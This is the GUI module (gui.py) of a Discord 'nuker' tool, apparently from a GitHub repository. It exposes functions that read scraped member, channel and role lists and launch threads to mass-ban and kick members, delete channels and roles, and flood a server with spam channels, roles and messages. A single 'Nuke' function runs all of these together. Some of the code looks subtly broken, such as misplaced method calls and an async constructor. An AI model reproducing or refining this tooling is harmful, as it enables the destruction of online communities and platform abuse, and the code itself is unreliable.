-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathgui.py
87 lines (74 loc) · 3.12 KB
/
gui.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import threading
import requests
import discord
import psutil
import avery
import time
import json
import eel
import sys
import os
from discord.ext import commands
from avery import Avery
from avery import Init
class GUI:
@eel.expose
async def __init__(self, avery: Avery, client):
self.avery = avery
self.client = client
Init() # Make sure scraped files exist
@eel.expose
async def Ban(self, guild):
members = open('scrape/members.txt')
for member in members:
threading.Thread(target=self.avery.BanMembers, args=(guild, member,)).start()
@eel.expose
async def Kick(self, guild):
members = open('scrape/members.txt')
for member in members:
threading.Thread(target=self.avery.KickMembers, args=(guild, member,)).start()
@eel.expose
async def Channels(self, guild):
channels = open('scrape/channels.txt')
for channel in channels:
threading.Thread(target=self.avery.DeleteChannels, args=(guild, channel,)).start()
@eel.expose
async def Roles(self, guild):
roles = open('scrape/roles.txt')
for role in roles:
threading.Thread(target=self.avery.DeleteRoles, args=(guild, role,)).start()
@eel.expose
async def ChannelSpam(self, guild, name, amount, spam: bool, spamamount, message):
for i in range(int(amount)):
if spam:
threading.Thread(target=self.avery.SpamChannels, args=(guild, name, spamamount, message, True,)).start()
else:
threading.Thread(target=self.avery.SpamChannels, args=(guild, name, 0, '', False,)).start()
@eel.expose
async def RoleSpam(self, guild, name, amount):
for i in range(int(amount)):
threading.Thread(target=self.avery.SpamRoles, args=(guild, name,)).start()
@eel.expose
async def Scrape(self, guild):
await self.client.wait_until_ready()
@eel.expose
async def Nuke(self, guild, channel_name, channel_amount, channel_spam: bool, channel_spam_amount, channel_spam_message, role_name, role_amount):
members = open('scrape/members.txt')
channels = open('scrape/channels.txt')
roles = open('scrape/roles.txt')
for member in members:
threading.Thread(target=self.BanMembers, args=(guild, member,)).start()
for channel in channels:
threading.Thread(target=self.DeleteChannels, args=(guild, channel,)).start()
for role in roles:
threading.Thread(target=self.DeleteRoles, args=(guild, role,)).start()
for i in range(int(channel_amount)):
if channel_spam == True:
threading.Thread(target=self.SpamChannels, args=(guild, channel_name, channel_spam_amount, channel_spam_message, True)).start()
else:
threading.Thread(target=self.SpamChannels, args=(guild, channel_name, 0, '', False)).start()
for i in range(int(role_amount)):
threading.Thread(target=self.SpamRoles, args=(guild, role_name,)).start()
members.close()
channels.close()
roles.close()